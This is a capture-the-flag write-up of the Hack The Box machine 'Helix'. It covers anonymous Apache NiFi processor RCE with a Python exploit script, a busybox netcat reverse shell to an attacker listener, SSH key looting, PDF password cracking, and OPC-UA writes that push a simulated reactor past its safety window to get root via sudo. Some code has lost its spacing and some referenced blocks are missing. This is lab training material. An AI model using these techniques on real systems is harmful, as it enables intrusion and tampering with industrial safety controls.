Helix is a medium-difficulty Linux machine from Hack The Box built around an ICS/OPC-UA scenario with the following chain: recon two open ports (22, 80) -> follow the redirect to helix.htb -> vhost brute forcing reveals flow.helix.htb running Apache NiFi 1.21.0 -> abuse anonymous write on the root process-group to drop an ExecuteProcess processor -> reverse shell as the nifi service account -> loot a leftover SSH key from the NiFi support-bundles directory -> SSH in as operator and grab the user flag -> discover a NOPASSWD sudo entry on helix-maint-console plus a password-protected safety guide PDF -> crack the PDF with john and learn the reactor’s “maintenance operating window” mechanic -> talk to the loopback-only OPC-UA server with asyncua, ramp CalibrationOffset to force temperature above the maintenance threshold, and hold it hot in a background task while calling the sudo helper in the same process -> root.
Helix-info-card
Reconnaissance
We start with a full-port TCP scan to see what the box exposes:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://helix.htb/
The redirect on port 80 already hands us the canonical hostname:
1
curl -sI http://10.129.28.235/
1 2 3
HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 (Ubuntu) Location: http://helix.htb/
We add helix.htb to our /etc/hosts and take a quick look at what’s being served:
1 2
echo"10.129.28.235 helix.htb" | sudo tee -a /etc/hosts curl -s http://helix.htb/ | grep -iE 'title|<h1|product|powered|generator' | head
This is just a marketing landing page — there’s nothing to attack here. The real application is almost certainly on a sibling vhost.
Vhost brute forcing
A non-existent host on helix.htb returns a 301 with a 178-byte body, so anything that isn’t301/178 is a real backend. We spray a short list of likely subdomains via the Host header:
1 2 3 4 5 6 7 8 9 10
cat > subs.txt <<'EOF' api admin dev test staging app flow flows nifi data automation integration auth sso git portal www mail backend EOF for s in $(cat subs.txt); do out=$(curl -s -H "Host: ${s}.helix.htb" http://10.129.28.235/ \ -o /dev/null -w "%{http_code} %{size_download}") echo"${s}.helix.htb -> ${out}" done
Apache NiFi 1.21.0 has two well-known unauthenticated paths to RCE:
CVE-2023-34468 — H2/JDBC RCE through the DBCPConnectionPool controller service.
Anonymous abuse of the ExecuteProcess processor — if anonymous users can create processors in the root process-group (which is the default on a stock 1.x install), they can spawn arbitrary shell commands.
The ExecuteProcess path is shorter — no controller-service plumbing — so we’ll take that one.
Foothold — Apache NiFi RCE → shell as nifi
Confirm anonymous write on the root process-group
First we grab the root process-group id, which we’ll need for every subsequent API call:
The endpoint returns the root PG id without an auth challenge — anonymous reads are on, and on this build anonymous writes are too (the default users.xml policy).
Stand up a multi-command reverse-shell listener
Plain nc works once but loses history and arrow keys. This little Python listener accepts the callback, exposes a FIFO for input and a logfile for output, so we can pipe commands into the shell without re-exploiting between each one:
The non-obvious bit is the Argument Delimiter property. NiFi’s default delimiter is whitespace, which corrupts bash -c "<multi-word command>" because every space becomes a token boundary. Setting it to | lets us ship -c|<full command> as exactly two clean tokens. The target ships busybox, so busybox nc -e /bin/bash works (the host nc is the OpenBSD variant without -e).
# auto-terminate the 'success' relationship or the processor will refuse to start cfg = s.put(f"{TARGET}/processors/{proc_id}", json={ "revision": {"version": ver}, "component": {"id": proc_id, "config": {"autoTerminatedRelationships": ["success"]}}, }).json() ver = cfg["revision"]["version"]
# flip to RUNNING — this is what actually fires the command s.put(f"{TARGET}/processors/{proc_id}", json={ "revision": {"version": ver}, "component": {"id": proc_id, "state": "RUNNING"}, }) print("[+] processor running")
1
python3 /tmp/helix/exploit_nifi.py
1
[+] processor running
And in the listener we catch the callback:
1
[+] connected from ('10.129.28.235', 49664)
Where we landed
We fire a couple of commands through the FIFO to see who we are:
The key’s comment field is root@management, but on this host it actually maps to the operator user — the username baked into a backup key is meaningless; what matters is which authorized_keys file it appears in.
SSH in and grab user.txt
We write the key out locally, lock down its permissions, and log in:
The PNG renders an OPC-UA architecture: an Operator Station and an OPC-UA Server at opc.tcp://127.0.0.1:4840/helix/, exposing Reactor (Temperature, Pressure, CalibrationOffset), Control (Mode, TestOverride, ResetTrip — all writable), and Safety (TripActive, RodsInserted, EmergencyCooling — read-only).
The PDF is password-protected — crack it
The safety guide won’t open without a password, so we extract its hash and throw rockyou at it with john:
1 2 3
pdf2john /tmp/helix/safety_guide.pdf > /tmp/helix/guide.hash john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/helix/guide.hash john --show /tmp/helix/guide.hash
With the password operator1 we decrypt the document and dump its text:
1 2 3
from pypdf import PdfReader r = PdfReader("/tmp/helix/safety_guide.pdf"); r.decrypt("operator1") print("\n".join(p.extract_text() for p in r.pages))
The key passages from the decrypted guide are:
“Maintenance Operating Window opens when Temperature ≥ ~295 °C OR Pressure ≥ ~73 bar, both still below trip thresholds (305 °C / 75 bar), and no trip is active.”
“Maintenance mode requires Mode = MAINTENANCE and TestOverride = True; only then are CalibrationOffset ramps honoured.”
“Aggressive offset ramps latch a trip; ramp slowly.”
So the privesc path is clear: force the safety controller into the Maintenance Operating Window over OPC-UA, then immediately call the sudo helper while the window is still open.
Root — open the maintenance window over OPC-UA, then sudo helix-maint-console
Enumerate the OPC-UA tree
asyncua is already installed on the box (it’s how the operator station talks to the controller). The OPC-UA listener binds to 127.0.0.1 only — invisible from the network, but reachable from our SSH session. We walk the Plant subtree to learn the node ids and current values:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
# /tmp/enum_opcua.py — walk the Plant subtree import asyncio from asyncua import Client asyncdefwalk(node, d=0): name = (await node.read_browse_name()).Name try: v = await node.read_value() print(f"{' '*d}{node.nodeid.to_string():<14}{name:<22} = {v!r}") except: print(f"{' '*d}{node.nodeid.to_string():<14}{name}") for c inawait node.get_children(): await walk(c, d+1) asyncdefmain(): asyncwith Client(url="opc.tcp://127.0.0.1:4840/helix/") as c: await walk(c.get_node("ns=2;i=1")) asyncio.run(main())
The initial state has temperature too low (281 °C, threshold is 295), pressure too low (68 bar, threshold is 73), mode NORMAL, and no trip. We only need to push temperature over 295 °C, which the guide tells us we can do by ramping CalibrationOffset while in maintenance mode.
Single-process “open the window + run the sudo helper” script
The naive approach is to use two SSH sessions — one to ramp the offset and hold it, one to call sudo helix-maint-console. It doesn’t work: by the time the second SSH establishes, the asyncua session in the first has dropped, the PLC re-zeroes CalibrationOffset, and the safety controller closes the window before the sudo helper checks it. The only stable approach is to do everything from a single Python process on the target — ramp the offset, hold the temperature in a background task, and subprocess.run the helper while the holder keeps the reactor hot:
# ramp slowly so the safety controller doesn't latch a trip for i inrange(1, 13): await cal.write_value(ua.Variant(float(i), ua.VariantType.Double)) await asyncio.sleep(1.0) t = await temp.read_value() print(f" off={i:<2} T={t:.2f}") if t >= 295: break
/usr/local/sbin/helix-maint-console reads /opt/helix/state/maintenance_window — a 0750-protected unix-timestamp file that the helix-safety service writes once the safety conditions hold — and while that timestamp is still in the future it spawns bash -p -i under a fresh systemd scope. The scope inherits root because the helper itself was launched via sudo. Feeding commands into the helper’s stdin gets us root.txt without ever needing a TTY.
Cleanup
Finally we tidy up after ourselves — remove the scripts we dropped and locate the NiFi processor we created so it can be stopped and deleted:
1 2 3 4 5 6 7
ssh -i /tmp/helix/operator_id_ed25519 [email protected]'rm -f /tmp/full_pwn.py /tmp/enum_opcua.py' # stop the NiFi processor I created (it's harmless once stopped but visible in the audit log) curl -s "http://flow.helix.htb/nifi-api/process-groups/$(curl -s http://flow.helix.htb/nifi-api/process-groups/root | python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')/processors" \ | python3 -c 'import sys,json for p in json.load(sys.stdin).get("processors",[]): if p["component"]["name"]=="PwnExec": print(p["id"], p["revision"]["version"])'
For audit cleanliness you can PUT the processor back to STOPPED and then DELETE it with the right revision.
And that was Helix — from an anonymous NiFi processor all the way to bending a simulated reactor’s safety window to pop a root shell. Hope you enjoyed! -0xkujen